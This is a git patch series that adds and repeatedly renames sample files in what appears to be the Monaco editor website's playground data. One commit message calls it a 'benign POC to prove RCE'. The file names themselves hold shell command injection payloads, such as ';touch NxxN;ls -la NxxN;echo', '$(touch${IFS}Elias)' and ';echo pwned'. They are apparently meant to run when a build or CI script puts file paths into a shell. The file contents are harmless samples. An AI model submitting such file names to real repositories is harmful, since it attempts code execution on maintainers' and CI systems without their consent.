From 8116b1655f6821be56c8b9bad1ec146333beed12 Mon Sep 17 00:00:00 2001 From: Elias Ibrahim Date: Thu, 18 Jun 2026 17:52:27 -0400 Subject: [PATCH 1/9] A touch of style benign POC to prove RCE --- .../exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo | 1 + 1 file changed, 1 insertion(+) create mode 100644 website/src/website/data/playground-samples/exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo diff --git a/website/src/website/data/playground-samples/exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo b/website/src/website/data/playground-samples/exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo new file mode 100644 index 0000000000..ef3f2b638c --- /dev/null +++ b/website/src/website/data/playground-samples/exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo @@ -0,0 +1 @@ +// harmless sample From 1a7297c53584effe211abaa58b479775e56f3315 Mon Sep 17 00:00:00 2001 From: Elias Ibrahim Date: Thu, 18 Jun 2026 19:56:07 -0400 Subject: [PATCH 2/9] Rename demo.js;touch NxxN;ls -la NxxN;echo to demo.js;touch NxxN;ls -la NxxN;echo From 983aa50249901f6f40a59af0575f55a3c861614b Mon Sep 17 00:00:00 2001 From: Elias Ibrahim Date: Thu, 18 Jun 2026 20:25:54 -0400 Subject: [PATCH 3/9] Delete website/src/website/data/playground-samples/exploit directory --- .../exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo | 1 - 1 file changed, 1 deletion(-) delete mode 100644 website/src/website/data/playground-samples/exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo diff --git a/website/src/website/data/playground-samples/exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo b/website/src/website/data/playground-samples/exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo deleted file mode 100644 index ef3f2b638c..0000000000 --- a/website/src/website/data/playground-samples/exploit/rce/demo.js;touch NxxN;ls -la NxxN;echo +++ /dev/null @@ -1 +0,0 @@ -// harmless sample From 3c6b155b32eee91a6219ba74a8b79eda5c2d1cd3 Mon Sep 17 00:00:00 2001 From: Elias Ibrahim Date: Thu, 18 Jun 2026 20:29:11 -0400 Subject: [PATCH 4/9] Create sample.js; touch Elias; ls -la; echo " " --- ...ample.js; touch Elias; ls -la; echo \" \"" | 52 +++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 "website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.js; touch Elias; ls -la; echo \" \"" diff --git "a/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.js; touch Elias; ls -la; echo \" \"" "b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.js; touch Elias; ls -la; echo \" \"" new file mode 100644 index 0000000000..79e01ba04c --- /dev/null +++ "b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.js; touch Elias; ls -la; echo \" \"" @@ -0,0 +1,52 @@ +var editor = monaco.editor.create(document.getElementById("container"), { + value: [ + "", + "class Example {", + "\tprivate m:number;", + "", + "\tpublic met(): string {", + '\t\treturn "Hello world!";', + "\t}", + "}", + ].join("\n"), + language: "typescript", +}); + +// Explanation: +// Press F1 => the action will appear and run if it is enabled +// Press Ctrl-F10 => the action will run if it is enabled +// Press Chord Ctrl-K, Ctrl-M => the action will run if it is enabled + +editor.addAction({ + // An unique identifier of the contributed action. + id: "my-unique-id", + + // A label of the action that will be presented to the user. + label: "My Label!!!", + + // An optional array of keybindings for the action. + keybindings: [ + monaco.KeyMod.CtrlCmd | monaco.KeyCode.F10, + // chord + monaco.KeyMod.chord( + monaco.KeyMod.CtrlCmd | monaco.KeyCode.KeyK, + monaco.KeyMod.CtrlCmd | monaco.KeyCode.KeyM + ), + ], + + // A precondition for this action. + precondition: null, + + // A rule to evaluate on top of the precondition in order to dispatch the keybindings. + keybindingContext: null, + + contextMenuGroupId: "navigation", + + contextMenuOrder: 1.5, + + // Method that will be executed when the action is triggered. + // @param editor The editor instance is passed in as a convenience + run: function (ed) { + alert("i'm running => " + ed.getPosition()); + }, +}); From 2ab4ac3ad3db9b04fb9fc20533579862c17ae389 Mon Sep 17 00:00:00 2001 From: Elias Ibrahim Date: Thu, 18 Jun 2026 20:34:00 -0400 Subject: [PATCH 5/9] Add files via upload --- .../customizing-keybinding-menu/sample.css | 0 .../customizing-keybinding-menu/sample.html | 1 + .../customizing-keybinding-menu/sample.json | 3 +++ 3 files changed, 4 insertions(+) create mode 100644 website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.css create mode 100644 website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.html create mode 100644 website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.json diff --git a/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.css b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.css new file mode 100644 index 0000000000..e69de29bb2 diff --git a/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.html b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.html new file mode 100644 index 0000000000..e74cd4b91e --- /dev/null +++ b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.html @@ -0,0 +1 @@ +
diff --git a/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.json b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.json new file mode 100644 index 0000000000..c396db8a6e --- /dev/null +++ b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.json @@ -0,0 +1,3 @@ +{ + "title": "Adding a Keybinding to an Existing Command" +} From 46f92b07a951511c052b528e1bf6eb04f57231da Mon Sep 17 00:00:00 2001 From: Elias Ibrahim Date: Thu, 18 Jun 2026 22:07:32 -0400 Subject: [PATCH 6/9] Rename sample.js; touch Elias; ls -la; echo " " to sample$(touch$(IFS)Elias).js --- .../customizing-keybinding-menu/sample$(touch$(IFS)Elias).js | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.js; touch Elias; ls -la; echo \" \"" => website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample$(touch$(IFS)Elias).js (100%) diff --git "a/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.js; touch Elias; ls -la; echo \" \"" b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample$(touch$(IFS)Elias).js similarity index 100% rename from "website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample.js; touch Elias; ls -la; echo \" \"" rename to website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample$(touch$(IFS)Elias).js From 2b9a2f34f9abf4ba014d71b7516f7001d8c3912a Mon Sep 17 00:00:00 2001 From: Elias Ibrahim Date: Thu, 18 Jun 2026 22:27:58 -0400 Subject: [PATCH 7/9] Rename sample$(touch$(IFS)Elias).js to sample$(touch${IFS}Elias).js --- ...{sample$(touch$(IFS)Elias).js => sample$(touch${IFS}Elias).js} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/{sample$(touch$(IFS)Elias).js => sample$(touch${IFS}Elias).js} (100%) diff --git a/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample$(touch$(IFS)Elias).js b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample$(touch${IFS}Elias).js similarity index 100% rename from website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample$(touch$(IFS)Elias).js rename to website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample$(touch${IFS}Elias).js From aaca9bec08676387998f011af8c9a19a220fdbe6 Mon Sep 17 00:00:00 2001 From: Elias Ibrahim Date: Thu, 18 Jun 2026 22:48:10 -0400 Subject: [PATCH 8/9] Rename sample$(touch${IFS}Elias).js to sample;echo INJECTED_BY_ELIAS;x.js --- ...e$(touch${IFS}Elias).js => sample;echo INJECTED_BY_ELIAS;x.js} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/{sample$(touch${IFS}Elias).js => sample;echo INJECTED_BY_ELIAS;x.js} (100%) diff --git a/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample$(touch${IFS}Elias).js b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample;echo INJECTED_BY_ELIAS;x.js similarity index 100% rename from website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample$(touch${IFS}Elias).js rename to website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample;echo INJECTED_BY_ELIAS;x.js From 2ca9006c4242c0568d8a0db1d55433b698a57fd5 Mon Sep 17 00:00:00 2001 From: Elias Ibrahim Date: Thu, 18 Jun 2026 23:04:48 -0400 Subject: [PATCH 9/9] Rename sample;echo INJECTED_BY_ELIAS;x.js to sample;touch Elias;ls -ls Elias;echo pwned ;foo.js --- ...AS;x.js => sample;touch Elias;ls -ls Elias;echo pwned ;foo.js} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/{sample;echo INJECTED_BY_ELIAS;x.js => sample;touch Elias;ls -ls Elias;echo pwned ;foo.js} (100%) diff --git a/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample;echo INJECTED_BY_ELIAS;x.js b/website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample;touch Elias;ls -ls Elias;echo pwned ;foo.js similarity index 100% rename from website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample;echo INJECTED_BY_ELIAS;x.js rename to website/src/website/data/playground-samples/interacting-with-the-editor/customizing-keybinding-menu/sample;touch Elias;ls -ls Elias;echo pwned ;foo.js